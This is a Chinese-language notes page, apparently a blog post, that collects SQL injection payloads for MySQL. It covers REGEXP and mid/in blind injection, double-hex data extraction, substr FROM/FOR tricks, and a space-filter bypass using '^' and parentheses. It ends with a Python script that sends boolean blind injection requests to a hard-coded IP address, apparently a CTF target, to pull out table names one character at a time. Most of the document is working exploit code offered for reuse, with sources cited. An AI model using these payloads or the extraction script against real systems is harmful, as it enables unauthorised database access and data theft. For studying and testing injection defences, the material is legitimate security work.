

# SQL注入 payload 记录

## 使用 REGEXP盲注

### payload

```
select user() from users where user_id=1 and (select(user)from users where user_id=1) REGEXP '^adm.*';
```

### 来源

<https://www.secpulse.com/archives/68991.html>

## 使用 (子查询) in ("x") 盲注

### Payload

通过 mid 取字符，然后 in 来判断

```
select user() from users where user_id=1 and (select(mid(user,1,1))from users where user_id=1) in ('a');
```

### 来源

<https://xz.aliyun.com/t/2619#toc-5>

## 注入发生在 select 和 from 中间

### 两次 hex , 取数据

```
select '0'+(select hex(database()))+'0' from users;
```

```
--> 1 "b343/bb3/b/b3".decode("hex").decode("hex")
/usr/lib/python2.7/encodings/hex_codec.py in hex_decode
    """
    40
    41     assert errors == 'strict'
--> 42     output = binascii.a2b_hex(input)
    43     return (output, len(input))
    44

TypeError: Odd-length string
In [4]: "63437363737363"
Out[4]: '63437363737363'

In [5]: "63437363737363".decode("hex")
Out[5]: 'cCscssc'

In [6]: "64767761".decode("hex")
Out[6]: 'dvwa'

In [7]: "64767761".encode("hex")
Out[7]: '3634373637373631'

In [8]: "3634373637373631".decode("hex").decode("hex")
Out[8]: 'dvwa'

In [9]: 
```

一定要 两次 hex 。

### substr 使用 from for 语法 , 取长数据

```
select '0'+(substr((select hex(database())) FROM 1 FOR 6))+'' from users;
```

```

1 select '0'+(substr((select hex(hex(database())))) FROM 1 for 6))+'0' from users;

```

信息 结果1 概况 状态

'0'+(substr((select hex(hex(database())))) FROM 1 for 6))+'0'
363437
363437
363437
363437
363437

## 来源

<https://xz.aliyun.com/t/2619#toc-3>

## 过滤空格布尔盲注

### ^ 替代 = && () 替代空格

```
SELECT student_number FROM student WHERE id='1'^ascii(mid((select(GROUP_CONCAT(TABLE_NAME)) from(information_schema.TABLES)where(TABLE_SCHEMA=database()),1,1))=1';
```

整数和字符比较，会进行转换

使用 或 替代 =

```

import requests

flag = ""
for i in range(1,300):
    for j in range(33,127):
        # url1 = "http://119.23.73.3:5004/?id=2'^ascii(mid((select(group_concat(TABLE_NAME)) from(information_schema.TABLES)where(TABLE_SCHEMA=database()),"+str(i)+",1))="+str(i)
        # url2 = "http://119.23.73.3:5004/?id=2'^ascii(mid((select(group_concat(COLUMN_NAME)) from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_11ke_long_t4ble_name')),"
        # url3 = "http://119.23.73.3:5004/?id=2'^ascii(mid((select(d0_y0u_als0_11ke_very_long_column_name) from(do_y0u_11ke_long_t4ble_name)), "+str(i)+",1))="+str(j)"
        url = "http://119.23.73.3:5004/?id=1'^ascii(mid((select(GROUP_CONCAT(TABLE_NAME)) from(information_schema.TABLES)where(TABLE_SCHEMA=database()),{},1))={})=1".format(i,j)

        # print url
        r=requests.get(url=url)
        if "Hello" not in r.content:
            flag +=chr(j)
            print flag
            break

```

## 来源

<http://skysec.top/2018/01/31/mctf-Web%E9%A2%98%E8%A7%A3/#%E7%AE%80%E5%8D%95%E6%B3%A8%E5%85%A5>

来源: <https://www.cnblogs.com/hac425/p/9514887.html>